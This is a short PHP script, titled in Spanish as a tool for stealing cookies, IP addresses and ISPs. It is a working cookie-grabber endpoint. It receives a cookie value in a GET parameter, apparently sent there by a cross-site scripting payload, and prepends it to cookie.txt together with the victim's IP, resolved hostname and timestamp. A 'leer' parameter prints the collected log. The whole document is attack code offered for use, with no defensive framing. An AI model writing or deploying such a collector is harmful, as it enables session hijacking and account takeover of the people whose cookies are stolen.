Robo de Cookies & IP & ISP

<?php

if(isset($_GET["leer"])) {

$read = file_get_contents("cookie.txt");
echo $read;

} else {
$cookie = $_GET["cookie"];
$texto = "Ip: ".$_SERVER["REMOTE_ADDR"] . " - ISP : ".gethostbyaddr($_SERVER["REMOTE_ADDR"])." - Fecha: ".date("H:i:s d/m/Y")." - Cookie: ".$cookie."<br>";
$l = file_get_contents("cookie.txt");
file_put_contents("cookie.txt",$texto.$l);
}
?>